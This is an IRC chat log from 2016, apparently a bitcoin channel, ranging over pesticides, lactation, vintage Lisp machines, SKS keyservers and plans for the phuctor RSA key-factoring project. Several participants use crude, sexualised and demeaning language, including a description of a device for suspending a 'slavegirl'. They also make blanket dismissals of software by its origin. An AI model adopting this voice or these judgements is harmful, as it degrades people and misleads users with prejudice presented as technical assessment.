1467764;1463514470;deedbot;Framedragger voiced for 30 minutes. 1467765;1463514517;Framedragger;"maybe irc bouncers for bad connections are a good idea" :) 1467766;1463514542;asciilifeform;and for good connections. 1467767;1463514544;BingoBoingo;asciilifeform: How many sides does hamster wheel have 1467768;1463514548;Framedragger;indeed, indeed.. 1467769;1463514582;asciilifeform;BingoBoingo: dunno about you but i do not run on hamster wheels, nor spend time in monkey house, nor fraternise with the ants, nor try to fit into rat tunnels, etc 1467770;1463514586;asciilifeform;let the animal kingdom be. 1467771;1463514610;asciilifeform;unless yer a farmer, or paid exterminator, whatever. 1467772;1463514658;BingoBoingo;What is unrewarding about those professions. Exterminators get paid to play Himmler all day! 1467773;1463514690;asciilifeform;;;google "will you rub some lotion on my back" 1467774;1463514691;gribble;Error: We broke The Google! 1467775;1463514693;asciilifeform;ugh. 1467776;1463514702;hanbot;isn't being an exterminator an inherent part of being paid? 1467777;1463514716;asciilifeform;hanbot: apparently not... 1467778;1463514718;phf;asciilifeform: unless you're inside mp's dirigible, pretty sure you're inside monkey house. these "wars" mostly end with you losing further ground one way or another 1467779;1463514756;asciilifeform;phf: on the reservation, at any rate 1467780;1463514771;BingoBoingo;hanbot: Plenty of homeowners play exterminitor on their own unpaid 1467781;1463514775;asciilifeform;but the latter is presently large enough that one can avoid running into any monkeys for arbitrary stretch of time 1467782;1463514810;BingoBoingo;related http://www.theonion.com/article/trump-supporter-still-planning-rioting-national-co-52878 1467783;1463514826;asciilifeform;but yes, when folks like BingoBoingo ask 'why the burn rate', asciilifeform answers 'keeping force field against monkeys going is not cheap' 1467784;1463514842;phf;asciilifeform: my point is that like with any war, "on the reservation" you're not necessarily going to run into active soldiers, but more likely into a mine, or border control, or whatever else the effects of war are. 1467785;1463514888;asciilifeform;eventually. 1467786;1463514962;BingoBoingo;asciilifeform: Maybe spray smarter? 1467787;1463515049;asciilifeform;BingoBoingo: care to be more specific ? 1467788;1463515101;BingoBoingo;asciilifeform: Well, generally if you spray the right kind of sweet murder target toward the pest you actually have... You end up having to spray less of it and saving. 1467789;1463515155;BingoBoingo;Just because all the marketing is behind monsanto and glyphosate doesn't mean there aren't cases where a diquat is phine too. 1467790;1463515190;asciilifeform;not entirely unrelatedly, as a young man i kept 'bug spray' around, habitually, as my ancestors did; but then learned that wet/dry vac works 100% as well and doesn't create cloud of poisonous crud to breathe the rest of the day 1467791;1463515331;BingoBoingo;Sure, but there's spray you can use before the bug is even there that work better. 1467792;1463515367;asciilifeform;i can scarcely apprehend what BingoBoingo's house must smell like. 1467793;1463515372;*;BingoBoingo kind of surprised in the swamp that termites have not already ate the alfnest. 1467794;1463515395;asciilifeform;carpenter ant is more common here. 1467795;1463515439;BingoBoingo;Aha, so ant is winning ant/termite war there I presume? 1467796;1463515473;BingoBoingo;Anyways permethrin doesn't really have any smell I can discern once it is dry 1467797;1463515526;BingoBoingo;And once it dries in place it both repels and murder vermin 1467798;1463515565;asciilifeform;when i worked in the outfit that did antidotes for organophosphate poisons ('nerve' gases) we used these common pesticides as a substitute for the real thing 1467799;1463515573;asciilifeform;(as the facility wasn't usg-blessed for the Real Deal) 1467800;1463515587;asciilifeform;works just as well, just with different, slower kinetics 1467801;1463515617;BingoBoingo;Sure, dose makes the poison 1467802;1463515628;asciilifeform;'dose' is tricky concept 1467803;1463515664;asciilifeform;as some folks in the good ol' days found out when they tried to do the 'acclimate to strychnine' thing with cumulative poisons, e.g, arsenic 1467804;1463516957;BingoBoingo;Look, none of us are going to live to be 145. Do you want to live among the roaches or not... 1467805;1463516996;*;BingoBoingo realizes he maybe ought to stahp pushing alf towards "better living through chemistry" or he might become the sort who mows his lawn with Imazapyr 1467806;1463517287;asciilifeform;BingoBoingo: y'know, there is >1 way to live free of roach 1467807;1463517325;BingoBoingo;Sure, but your blog seems to be rather centered on various kitchen pests. I just assume it isn't a coincidence. 1467808;1463517341;asciilifeform;not the least. 1467809;1463517386;asciilifeform;at the time i wrote most of it, i lived in a vile and uncleanable (in the sense that vermin lived in the walls and fed upon the opulent fastfood waste of the verminiferous neighbours) 1467810;1463517393;asciilifeform;cheapo flat 1467811;1463517464;asciilifeform;i do not live there any more 1467812;1463517471;asciilifeform;nor have any intention of ever so much as chancing to. 1467813;1463517492;asciilifeform;nor have any interest in the 'just fill it up with ddt' approach to problem-solving 1467814;1463517495;asciilifeform;in this or other fields. 1467815;1463517678;BingoBoingo;How is jsut fill it up with ddt any different when you live in one of those than live with x86 is in coputing for same problem 1467816;1463517705;asciilifeform;BingoBoingo: x86 is more analogous to, perhaps, roaches and lice in a prison cell 1467817;1463517714;asciilifeform;where you dun have the option of moving 1467818;1463517728;asciilifeform;and your choices reduce to whether to eat the bugs or not yet 1467819;1463518224;ben_vulpes;what cell 1467820;1463518231;ben_vulpes;the world is a concrete box! 1467821;1463518238;ben_vulpes;and these-- 1467822;1463518240;ben_vulpes;my cattle 1467823;1463518269;*;ben_vulpes noms an abstraction 1467824;1463519916;shinohai;asciilifeform: https://twitter.com/BoltsJ/status/727270582421733377 1467825;1463520331;mircea_popescu;asciilifeform & other interested parties : i've actually verified that the behaviour in question comes from stock bitcoin 0.6 and some 0.7. the shit's so bad it self-ddoses its own network! 1467826;1463520431;asciilifeform;hm? 1467827;1463520470;asciilifeform;shinohai: who's that ? 1467828;1463520471;mircea_popescu;the stock historical bitcoin client, prb, without any modification, will act like a malicious node. 1467829;1463520514;asciilifeform;well yes 1467830;1463520516;asciilifeform;but how 1467831;1463520537;mircea_popescu;that part i've not invested in. 1467832;1463520669;mircea_popescu;http://btcbase.org/log/2016-05-17#1467659 << the logic of these idiots. 1467833;1463520669;a111;Logged on 2016-05-17 15:51 asciilifeform: 'The government said Monday he should remain jailed indefinitely until he complies. The authorities also said that it's not a violation of the man's Fifth Amendment right against compelled self-incrimination because it's a "foregone conclusion" that illegal porn is on the drives and that he is only being asked to unlock the drives, not divulge their passcodes. 1467834;1463520705;mircea_popescu;http://btcbase.org/log/2016-05-17#1467668 << lmao stop picking on teh poor bee! 1467835;1463520705;a111;Logged on 2016-05-17 15:55 BingoBoingo: Have you tried applying to Home Depot? They will let you work part time. 20 hours/week leaves you less prison time than 40+ hours of sodomy. 1467836;1463520764;mircea_popescu;you know incidentally, if the current nazi party were in fact in soviet russia we'd prolly all be working for the same home depot doing a very... disturbing version of clerks, the movie series. 1467837;1463520781;mircea_popescu;it's ~how various countercultural things even existed in the first place. 1467838;1463520891;mircea_popescu;http://btcbase.org/log/2016-05-17#1467675 << no because http://trilema.com/2016/the-megawatt-standard/ 1467839;1463520891;a111;Logged on 2016-05-17 15:59 BingoBoingo: Use less electric? Seriously though they'd basically be paying you to exercise. 1467840;1463520958;mircea_popescu;" One of the women allegedly offered an undercover officer money in exchange for a sexual act, resulting in an additional prostitution charge." << wait, she was going to pay HIM ? 1467841;1463520962;shinohai;http://btcbase.org/log/2016-05-17#1467827 dunno was grepping followers tweets for certain terms and that one popped up. Never heard of the guy. 1467842;1463520962;a111;Logged on 2016-05-17 21:27 asciilifeform: shinohai: who's that ? 1467843;1463520967;mircea_popescu;dude just how bad has this castration thing got in the us ?! 1467844;1463521013;shinohai;Yeah and I see my Qntra mistake now, was hoping BingoBoingo could graciously edit, or I'll send in a rewrite. 1467845;1463521035;mircea_popescu;http://btcbase.org/log/2016-05-17#1467679 << omfg now i also wonder what's in bb's tobacco. this insanity coallesced in my head like that iconic cartoon scene of all the clocks going off, except you know... with loud obnoxious two stroke engines. 1467846;1463521035;a111;Logged on 2016-05-17 16:02 BingoBoingo: Anyways, prolly ought to convert as many appliances as you can from electric to 2-cycle gas motors because Hitler hates their farts. 1467847;1463521082;mircea_popescu;http://btcbase.org/log/2016-05-17#1467681 << word. fucking abominable idiocy. 1467848;1463521082;a111;Logged on 2016-05-17 16:03 asciilifeform: if there is any point at all to having civilizations that ban things, 2cycle ought to have long ago been placed where the spark gap radio is 1467849;1463521161;trinque;https://www.youtube.com/embed/d157dfkKsa8 << I've got one for the self-castration thread 1467850;1463521184;mircea_popescu;asciilifeform whence teh hatred of funken ? 1467851;1463521315;asciilifeform;i've nothing against the fella 1467852;1463521320;asciilifeform;talking to him right now in the old ruins even 1467853;1463521323;asciilifeform;re ecc vs rsa 1467854;1463521336;asciilifeform;but was wondering why he isn't here. 1467855;1463521567;asciilifeform;trinque: wtf is that 1467856;1463521575;asciilifeform;can haz summary 1467857;1463521666;trinque;portland community college "professor" proposes we pay infinite monies to vaguely defined category of downtrodden 1467858;1463521678;asciilifeform;yeah but why is the camera on the floor..? 1467859;1463521696;trinque;some guy wanted to post it to infowars I guess 1467860;1463521743;*;trinque considers drinking every time she says "dialectic" 1467861;1463521747;asciilifeform;they only accept footage from anal camera ? 1467862;1463521864;trinque;seems appropriate I guess 1467863;1463521882;trinque;anal camera captures woman offering up the collective european butthole 1467864;1463521901;asciilifeform;that was a woman?! 1467865;1463521984;trinque;wants to be at any rate 1467866;1463522056;asciilifeform;speaking of woman, must resurrect old thread: 1467867;1463522071;asciilifeform;http://btcbase.org/log/2016-05-14#1466468 << important question that perhaps only mircea_popescu could answer: is there a 'background lactation' ? 1467868;1463522071;a111;Logged on 2016-05-14 13:23 mircea_popescu: bad crop, bad pose, what the fuck is it with the milkstained, nipple torn bra and so on. 1467869;1463522153;asciilifeform;(would be, presumably, a small but continuous stream, to 'nimble the gears' or whatnot) 1467870;1463522230;trinque;wouldn't blow my mind that the thing is not a perfect seal 1467871;1463522234;trinque;what is on the human body? 1467872;1463522262;asciilifeform;well it wouldn't be on account of poor seal 1467873;1463522273;asciilifeform;but if the gland actually secretes some trace amount 1467874;1463522706;mircea_popescu;asciilifeform there's some post-intoxication lactation. 1467875;1463522729;mircea_popescu;but no, generally no such thing. note that the breast we all know and love is clinically known as the immature breast 1467876;1463522760;mircea_popescu;the mature breast is quite a specific thing, and it needs a coupla months to occur, post partum. 1467877;1463522795;asciilifeform;what'd be the mechanism where newborn kid of either sex sometimes lactates, then ? 1467878;1463522837;mircea_popescu;it's not actual lactation though. 1467879;1463522844;asciilifeform;in what sense not ? 1467880;1463522893;mircea_popescu;witch's milk. see, when woman is about to deliver specific hormonal changes in her system drive the maturation of breast tissue. 1467881;1463522910;mircea_popescu;they drive the maturation of ALL breast tissue, there's no targetting geographically, it's chem signalling 1467882;1463522933;mircea_popescu;so in some cases tiny islands in child breast undergo same process. but it's brief and reverts naturally, without scarring 1467883;1463522956;mircea_popescu;ie, the infantile cells are yet unspecialised, and for that reason react to the signal. in "true" lactation actual specialised tit tissue reacts. 1467884;1463523147;asciilifeform;and what reacts in, e.g., grown man with pituitary tumour pissing out prolactin ? 1467885;1463523183;mircea_popescu;adult tissue :) post puberty it's the same thing on either gender. 1467886;1463523191;mircea_popescu;same reason males can get breast cancer etc. 1467887;1463523248;mircea_popescu;in truth, human body is complex, but not uniformly sophisticated. some parts are ridiculous in their inept simplicity. 1467888;1463544429;asciilifeform;http://trilema.com/2013/the-future-in-the-past << great vintage mircea_popescutronic lul re trb... 1467889;1463546581;*;mircea_popescu shall read this nao 1467890;1463546689;BingoBoingo; Yeah and I see my Qntra mistake now, was hoping BingoBoingo could graciously edit, or I'll send in a rewrite. << fxd 1467891;1463546725;mircea_popescu;nb. 1467892;1463546745;BingoBoingo; http://btcbase.org/log/2016-05-17#1467679 << omfg now i also wonder what's in bb's tobacco. this insanity coallesced in my head like that iconic cartoon scene of all the clocks going off, except you know... with loud obnoxious two stroke engines. << More noise == More Powah 1467893;1463546745;a111;Logged on 2016-05-17 16:02 BingoBoingo: Anyways, prolly ought to convert as many appliances as you can from electric to 2-cycle gas motors because Hitler hates their farts. 1467894;1463546750;mircea_popescu;kinda impressive how re-readable trilema is, 3 years later. 1467895;1463546791;mircea_popescu;BingoBoingo by this logic, women and small children have all the powah. 1467896;1463546793;mircea_popescu;o wait. 1467897;1463547170;BingoBoingo;'Murica (TM)(R) 1467898;1463547623;mircea_popescu;https://www.avforums.com/threads/vbulletin-review-how-internet-brands-have-killed-off-vbulletin.1855705/ << for the entomologists specifically interested in webhistory. 1467899;1463547711;mircea_popescu;(ftr, while "internet brands" is exactly the same shit as interactive corp, it's patently untrue vbulletin was ever anything but a steaming pile of shit.) 1467900;1463551157;ben_vulpes;i see kakobrekla fixed the "no loglines no prev/next" bug 1467901;1463555120;deedbot;[» Contravex: A blog by Pete Dushenski] Not all Soviet food is created equal. - http://www.contravex.com/2016/05/18/not-all-soviet-food-is-created-equal/ 1467902;1463556627;mircea_popescu;(and in the same vein, https://archive.is/18A5I https://archive.is/ZKxZY etc) 1467903;1463575670;shinohai;http://btcbase.org/log/2016-05-18#1467890 <<< thx BingoBoingo 1467904;1463577242;asciilifeform;holy shit: 1467905;1463577252;asciilifeform;phf et al: https://www.ebay.com/itm/222120395083 1467906;1463578206;asciilifeform;l0g is dead... 1467907;1463578217;*;asciilifeform nostalgic for the days of reliable l0gz 1467908;1463578630;mircea_popescu;hey ben_vulpes , would it be possible to move the orig link right under the wotpaste header, and add a home one next to it ? 1467909;1463578719;mircea_popescu;http://btcbase.org/log/2016-05-18#1467906 << ironically, i read this in the log. i didn't have it in my own scrollback, because freenode is a pos and i lost conn. 1467910;1463578719;a111;Logged on 2016-05-18 13:30 asciilifeform: l0g is dead... 1467911;1463578734;asciilifeform;mircea_popescu: there was a few hr outage. 1467912;1463578740;mircea_popescu;here too. 1467913;1463578759;phf;asciilifeform: i'm watching it, i already have an xl1201 though. i might bid on this one for parts, but there's a lot of eyes on it. i wouldn't be surprised if it climbs to 5-7k 1467914;1463578766;mircea_popescu;i suspect the nostalgia is a subset of "i long for the days before we started using freenode, and so it wasn't being served gagged supoenas, and so it was almost usable" 1467915;1463578807;asciilifeform;lel 1467916;1463578831;phf;i'm surprised twenex did an open bid though, guy is notorious for selling smbx boxes for 5k starting price 1467917;1463578834;mircea_popescu;i don't suppose anyone else has any competing theory re their "we've been haxxed, report soon to follow. 1,2,3 " dog and pony show last year ? 1467918;1463578840;asciilifeform;phf: i find it interesting that folks are paying their weight in plutonium considering that emulator exists 1467919;1463578869;asciilifeform;mircea_popescu: there is always the 'can't be arsed' theory 1467920;1463578878;mircea_popescu;and in other webswamp lulz, "Rara Vintage Hacking computadora Symbolics XL1201 maquina Lispo". 1467921;1463578891;mircea_popescu;i suppose i should be fucking thankful they don't use some EGOG charset. 1467922;1463578908;asciilifeform;ЕГГОГ !!!11111111111111 1467923;1463578912;mircea_popescu;asciilifeform yesofcourse. 1467924;1463578925;asciilifeform;and waiwut, you ended up with a .sp ebay or wut 1467925;1463578931;mircea_popescu;also how the fuck is $500 weight in plutonium, what is this, my inexistent piercing ? 1467926;1463578940;mircea_popescu;asciilifeform nope, same ebay. 1467927;1463578941;asciilifeform;mircea_popescu: these climb routinely into 5fig 1467928;1463578960;asciilifeform;the number you saw was ~start bid~ 1467929;1463578966;asciilifeform;which can be even a penny 1467930;1463578967;mircea_popescu;they don't even have the decency to alter the url. (google forcibly redirects you, because WE HAVE THIS FEATURE AND YOU MUST USE IT!!! OBAMACARE!!11) 1467931;1463578979;mircea_popescu;asciilifeform did they mistranslate "oferta actual" ? 1467932;1463578986;phf;yeah, last one i bought for 4100 and twenex was "surprised it went to cheap" 1467933;1463578999;phf;*so cheap 1467934;1463579044;mircea_popescu;phf he has a point, if you consider that have you saved the money back in 86, put it in apple shares, and then use it to bid now 4k would be what, 3% ? 1467935;1463579059;mircea_popescu;weight in plutonium for this item is hereby defined as "in excess of 1mn usd / kg". 1467936;1463579069;mircea_popescu;what were they, 35 lbs all told ? 1467937;1463579082;asciilifeform;eh i'm only counting the irreplaceable bits 1467938;1463579088;asciilifeform;vs the massive steel chest and dc ps 1467939;1463579104;asciilifeform;if i had just the 2 boards depicted in the link i'd have the box. 1467940;1463579120;mircea_popescu;good luck replacing massive steel. you know what i had to go through to get a suspension hemicile made ? 1467941;1463579134;asciilifeform;(1201 used standard scsi disks, note, the owner of that one substituted a modern simulator) 1467942;1463579151;asciilifeform;mircea_popescu: i have proper machine toolz here. 1467943;1463579168;asciilifeform;and at any rate case is optional. 1467944;1463579198;asciilifeform;the backplane is, i think, unibus 1467945;1463579200;asciilifeform;(traditional) 1467946;1463579216;mircea_popescu;(for the noobs : the suspension hemicicle is a 1.5 rad section of thick steel pipe, curved around a radius of about 4 meters. sits on welded legs made of the same material, 1 rad sections curved around radius of 1 m. it allows you to tie hands and feet of slavegirl, let her suspend for a good fucking, thrasing, or just sunbathing) 1467947;1463579227;mircea_popescu;asciilifeform you can't machine this stuff in your garage. 1467948;1463579254;asciilifeform;why ever not ? 1467949;1463579264;asciilifeform;i mean, we aren't thinking of submarine propeller here 1467950;1463579265;mircea_popescu;how are you going to bend it ? 1467951;1463579267;asciilifeform;but buncha sheet metal. 1467952;1463579274;asciilifeform;mircea_popescu never bent sheet metal ? 1467953;1463579279;mircea_popescu;it is pipe. 1467954;1463579295;asciilifeform;i wouldn't bend pipe. cut, weld. 1467955;1463579306;asciilifeform;bending pipe is a bitch 1467956;1463579306;mircea_popescu;the spec says pipe. 1467957;1463579324;asciilifeform;cut, thread ? 1467958;1463579336;mircea_popescu;something like 6 or 8 inch pipe, half cm thick walls 1467959;1463579340;mircea_popescu;thread ?! 1467960;1463579351;shinohai;http://www.baileigh.com/metalworking/tube-pipe-benders <<< /me has used this for pipe bending 1467961;1463579385;asciilifeform;at any rate, the device mircea_popescu is describing seems to resemble a standard hammock stand 1467962;1463579390;asciilifeform;buy off the shelf ? 1467963;1463579393;mircea_popescu;shinohai yeah, but that stops with inch or maybe inch and a half thick. the instrument needed here is the size of alf's house. 1467964;1463579405;shinohai;O.o heavy duty! 1467965;1463579414;mircea_popescu;asciilifeform "off the shelf" in argentina means you can have a bottle of water. 1467966;1463579433;asciilifeform;i think i have this item here even 1467967;1463579434;mircea_popescu;and from what i'm hearing the us is following its socialist destiny towards argentinization. 1467968;1463579437;asciilifeform;there is a hammock on it 1467969;1463579447;asciilifeform;i bought it in an ordinary plebe shop 1467970;1463579473;asciilifeform;it is trapezoidal rather than curved tho 1467971;1463579474;mircea_popescu;asciilifeform i bet you dollars to donuts you have there some sort of plastic/zamak bs which, if put into serious use, would bend like playdo 1467972;1463579480;asciilifeform;mircea_popescu: steel 1467973;1463579480;mircea_popescu;and that's no good either. 1467974;1463579488;mircea_popescu;why the fuck make it with angles jesus. 1467975;1463579499;asciilifeform;mircea_popescu: so it can be made from pipes which screw in 1467976;1463579504;asciilifeform;and whole thing can be transported by 1man 1467977;1463579508;mircea_popescu;spec says circle for a reason. 1467978;1463579516;asciilifeform;what'd be the reason ? 1467979;1463579526;mircea_popescu;avoid injury. what you use the thing for is ... kinda intense. 1467980;1463579592;asciilifeform;and why would trapezoid with smooth corners injure ? 1467981;1463579630;mircea_popescu;because fittings project 1467982;1463579651;asciilifeform;now i would like to see a picture of how this thing is used 1467983;1463579705;mircea_popescu;asciilifeform think, "one man can transport it" means "you'll end up transporting it with your penis". 1467984;1463579720;mircea_popescu;$up Framedragger 1467985;1463579724;deedbot;Framedragger voiced for 30 minutes. 1467986;1463579737;asciilifeform;mircea_popescu: transportable in sections 1467987;1463579753;Framedragger;notes on http://trilema.com/2015/a-proper-social-site-for-the-bdsm-community here: http://paste.debian.net/plainh/5bd919c3 - comments, anyone? 1467988;1463579760;asciilifeform;and it boggles my mind that mircea_popescu had to have this item of furniture machined 1467989;1463579775;mircea_popescu;awmaygerd get a blog man. you'll regret not having after years of pastes that went away 1467990;1463579798;mircea_popescu;asciilifeform also this is outdoor item, properly coated pipe is good outside. fittings fucking rust. and on it goes. 1467991;1463579806;Framedragger;yeah that is probably true. i didn't think it was worthy of a blog post so to speak, but yeh 1467992;1463579829;mircea_popescu;Framedragger blogging essentially is "a valuable collections of items that, on their own, would probably not have been worth it" 1467993;1463579835;Framedragger;i guess i can post that text as comment on original blog post 1467994;1463579837;mircea_popescu;just like a book. who reads looseleaf pages of novels. 1467995;1463579863;mircea_popescu;Framedragger either that or use http://wotpaste.cascadianhacker.com/ i don't have whatever that one was whitelisted here. 1467996;1463579896;mircea_popescu;asciilifeform suppose one day you have to clean blood/shit/piss off your fucking fittings. 1467997;1463579920;Framedragger;kthanks 1467998;1463579926;asciilifeform;point. strictly stainless in my slaughterhouse plox. 1467999;1463579937;mircea_popescu;which you have put a gasket on to keep airtight, now you need a supply of new gaskets... fuck this inept doj style provisioning. 1468000;1463579967;mircea_popescu;asciilifeform fuckhouse and slaughterhouse have a lot in common. i'm at a loss to even distinguish. 1468001;1463580022;asciilifeform;l0l 1468002;1463580099;mircea_popescu;and the reason i had to have it fucking machined is exactly this, "oh sounds like hammock stand we got that" "bitch, did i say this pos ?!" "oh, it's just as good!" "go make a fucking website somewhere". 1468003;1463580111;mircea_popescu;people who don't belong walking in my fucking town. 1468004;1463580375;Framedragger;mircea_popescu: fwiw, posted as comment on your article, and paste here: http://wotpaste.cascadianhacker.com/pastes/516b9972-337a-4b88-ba48-711af84dc281/ - easiest format of responding is probably as a follow-up comment on blog, though.. anyway. i liked the overall idea. 1468005;1463580382;mircea_popescu;ty! 1468006;1463580561;Framedragger;i wasn't sure whether you intended for there to be a facility to post unencrypted public texts, for example (that is, that there would be a way to not only encrypt text to recipient key or set of keys corresponding to, say, a particular group - but also to post plaintext for meet-and-greet, whatnot). 1468007;1463580917;mircea_popescu;im crafting you an answer here, hang on 1468008;1463580967;Framedragger;much thanks :) 1468009;1463581552;mircea_popescu;Framedragger answered./ i'll be off to town now, but we can continue this discussion once i'm back, feel free to add comments. 1468010;1463581561;mircea_popescu;$rate Framedragger 1 old timer 1468011;1463581566;mircea_popescu;$rated Framedragger 1468012;1463581586;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/850f8da8-276e-4591-a049-ec26641741ad/ 1468013;1463581587;deedbot;mircea_popescu has not rated Framedragger. 1468014;1463581615;mircea_popescu;$v B0EC0DC9BF2E60E7AD0F1B494A5770E8E354E24190122F5066D5CB5D5BB2910A 1468015;1463581616;deedbot;mircea_popescu rated Framedragger 1 << old timer 1468016;1463581622;mircea_popescu;Framedragger you can self-voice, pm deedbot $v 1468017;1463581976;Framedragger;mircea_popescu: great, thank you! will do (i'll be on-and-off today, too) 1468018;1463582622;asciilifeform;;;later tell pete_dushenski http://www.contravex.com/2016/05/18/not-all-soviet-food-is-created-equal/#comment-46477 1468019;1463582622;gribble;The operation succeeded. 1468020;1463582632;asciilifeform;i wish i knew what he's smoking. 1468021;1463582864;asciilifeform;pete_dushenski, by all appearances, seems to live in a peculiar reaganite fantasy planet where su refugees cream their pants upon tasting delicious american mickeydee, and wax ecstatic while kissing bald eagle in the beak without having to watch out for kgb and no longer having to feed the bear or adjust the vodka level in the house reactor. 1468022;1463582937;asciilifeform;(there is, hilariously, another fantasy planet on which su soon-to-be-emigres lived, the one in the '80s vhs tapes. as described in l0gz) 1468023;1463582960;asciilifeform;but it is interesting to me, how little the two have in common. 1468024;1463584687;BingoBoingo;http://btcbase.org/log/2016-05-18#1468021 << lol 1468025;1463584687;a111;Logged on 2016-05-18 14:47 asciilifeform: pete_dushenski, by all appearances, seems to live in a peculiar reaganite fantasy planet where su refugees cream their pants upon tasting delicious american mickeydee, and wax ecstatic while kissing bald eagle in the beak without having to watch out for kgb and no longer having to feed the bear or adjust the vodka level in the house reactor. 1468026;1463584815;BingoBoingo;Qntra? https://archive.is/CDNXD "Isis Agora Lovecruft On Run From FBI?" 1468027;1463584931;Framedragger;^ that's a bit incorrect, she's already been living in berlin, but had to visit family etc in US; so not really "on the run" 1468028;1463585003;Framedragger;s/she's/she'd/ 1468029;1463585058;Framedragger;best to just read the original i think: https://blog.patternsinthevoid.net/fbi-harassment.html 1468030;1463585114;shinohai;Sure, run to Germany. You'll be safe there dove. 1468031;1463585218;BingoBoingo;Wait so her, Appelbaum and all the other "exiled" Tor developers are in German? 1468032;1463585225;Framedragger;not all 1468033;1463585233;Framedragger;but yeh they prefer the hipsta berlin 1468034;1463585245;Framedragger;appelbaum and isis and maybe some others 1468035;1463585248;BingoBoingo;This screams of credibility washing 1468036;1463585251;asciilifeform;it will be truly comedic if it turns out that the performance of the clowns starring in the 'tor is genuine obstacle to usg, really, believe' circus ends up extending to hanging 1468037;1463585259;asciilifeform;to 'truly prove' 1468038;1463585283;BingoBoingo;For srs 1468039;1463585284;Framedragger;i'd just think that they prefer that environment to the other, is all 1468040;1463585349;asciilifeform;'Lovecruft, speaking from Berlin by phone on an encrypted app, still sounds worried....' << gold. 1468041;1463585422;Framedragger;is this https://github.com/luanjunyi/gossipd at all related to the gossipd as proposed on trilema? 1468042;1463585460;asciilifeform;Framedragger: absolutely not. 1468043;1463585489;Framedragger;this is confusing as it's also some kind of pubsub (http://public.dhe.ibm.com/software/dw/webservices/ws-mqtt/mqtt-v3r1.html) 1468044;1463585494;Framedragger;asciilifeform: k gotcha 1468045;1463585540;asciilifeform;Framedragger: more generally, 'gossip protocol' is a standard term for a particular type of synchronization, as used in, e.g., sks 1468046;1463585567;Framedragger;ahhh. i should have known; hence all the names; thanks asciilifeform 1468047;1463585599;asciilifeform;where two sides exchange, a:'i have x,y,z' b:'i have p,q,y' ..... and a sends b 'x,z', b sends a 'p,q' 1468048;1463585768;Framedragger;right. 1468049;1463586490;Framedragger;asciilifeform: have you heard of Pond by agl (https://www.imperialviolet.org/) - https://github.com/agl/pond ? it's less for group social chatter and more for one-to-one sorta-ephermeral conversations 1468050;1463586540;asciilifeform;Framedragger: yes, shitware. 1468051;1463586543;Framedragger;gossipd is more of a federated social chat system i guess 1468052;1463586552;Framedragger;why so presumptious? 1468053;1463586560;asciilifeform;Framedragger: because golang. 1468054;1463586571;asciilifeform;i found that it is a 100% perfect litmus for shitware. 1468055;1463586602;Framedragger;well, i too like non-garbage-collected no-bullshit systems languages. but golang is not shit just because it's golang. unless reasons? but maybe you've elaborated on this before.. 1468056;1463586616;asciilifeform;and gossipd is considerably more general than a chat, it is to be a complete replacement for tcp/ip and packet switching as ordinarily understood. 1468057;1463586629;Framedragger;right, have to read the rfc, ok 1468058;1463586642;asciilifeform;Framedragger: anything that uses google's crypto libs is shitware. 1468059;1463586648;asciilifeform;this is not negotiable. 1468060;1463586669;Framedragger;well, agl is part of chrome security team, so i guess that's one more reason for you to dismiss pond 1468061;1463586674;Framedragger;i think that's just stupid, but owell 1468062;1463586751;asciilifeform;Framedragger: until you understand why it is the precise opposite of 'just stupid', you will have nothing to do here. 1468063;1463586810;Framedragger;k 1468064;1463587479;Framedragger;i just think someone may have a hard on for hating X (for good reasons) but not dismiss things produced by X prima facie. then again, i suppose it's a useful heuristic in resource/time scarce universes to do just that :) 1468065;1463587507;Framedragger;because who has time 1468066;1463587703;asciilifeform;at one point - in fact, until very recently - i would compulsively dig in and, weeks later, would, e.g., 'yet another google turd' 1468067;1463587720;asciilifeform;but recently i understood the ~reason~ why it is a waste of time 1468068;1463587736;asciilifeform;which is that the ~kind of people~ who produce the rubbish, are always the same 1468069;1463587772;Framedragger;have you noted any of those instances on your blog on somewhere? would be an interesting read 1468070;1463587779;asciilifeform;noted here. 1468071;1463587780;asciilifeform;in the logz. 1468072;1463587810;asciilifeform;http://btcbase.org/log is the 'somewhere'. 1468073;1463587838;Framedragger;kk 1468074;1463588096;shinohai;;;later tell BingoBoingo http://ix.io/FVd 1468075;1463588097;gribble;The operation succeeded. 1468076;1463588703;shinohai;http://www.fox10phoenix.com/news/arizona-news/142314152-story <<< Middle-schooler hacks teacher's email - naturally this is a job for the FBI 1468077;1463589877;ben_vulpes;mircea_popescu: two weeks 1468078;1463591495;deedbot;[Qntra] LinkedIN Dump Leaked - http://qntra.net/2016/05/linkedin-dump-leaked/ 1468079;1463597451;asciilifeform;;;later tell mircea_popescu soooo i went through the epic headache of setting up sks server on dulap, only to learn that the thing will not work without blessing from existing sks operators. 1468080;1463597452;gribble;The operation succeeded. 1468081;1463603141;BingoBoingo;$google "operation avalanche" 1468082;1463603159;*;deedbot hands you a broomstick. 1468083;1463603710;pete_dushenski;asciilifeform: http://www.contravex.com/2016/05/18/not-all-soviet-food-is-created-equal/#comment-46484 1468084;1463604058;mircea_popescu;asciilifeform define "will not work" ? 1468085;1463604079;mircea_popescu;and why'd you install "a server" as distinct from just merging phuctor db ? wtf is this, since when do we credit sks-pr ? 1468086;1463604506;asciilifeform;mircea_popescu: i wanted a leechatron 1468087;1463604512;asciilifeform;that would pull from sks in real time 1468088;1463604520;asciilifeform;and stoke phuctor 1468089;1463604552;asciilifeform;mircea_popescu: 'will not work' means that sks gossip protocol requires blessing on both ends of the line, so i'd have to make friends with an existing user 1468090;1463604674;*;shinohai waves at pete_dushenski 1468091;1463605360;mircea_popescu;asciilifeform ah i see. that's unfortunate. 1468092;1463605402;mircea_popescu;anyway, i'd say that in the interest of conserving manpower, the realtime leeching should not be a priority (honestly, it wasn't in my mind anyway, giving the ease with which hitler'd have turned it off anyway). instead the priorities for phuctor are : 1468093;1463605429;mircea_popescu;1. make the 8ball auto-update on a reasonable server load, fully automated. this will provide nice passive gains. also have it published somewhere. 1468094;1463605446;mircea_popescu;2. get the rsa conversion to the official tmsr universal rsa format discussed in logs. 1468095;1463605467;mircea_popescu;3. get the ssh keys, the github keys, and the silk road dump keys 2'd and fed into phuctor. 1468096;1463605504;mircea_popescu;4. convert the phuctor key db into a sks as per republican spec. the strategy being that we will confiscate all public key crypto just like we confiscated bitcoin from the fucktarded zombie horde. 1468097;1463605530;mircea_popescu;1 is something you must do yourself, ideally asap. 2 and 3 is something others can do and therefore should. 4 is not urgent. so therefore : do 1 and move on to other things for a while. 1468098;1463605541;mircea_popescu;punkman you got anywhere with that torrent thing ? 1468099;1463605751;asciilifeform;1 is pretty close to launchable. 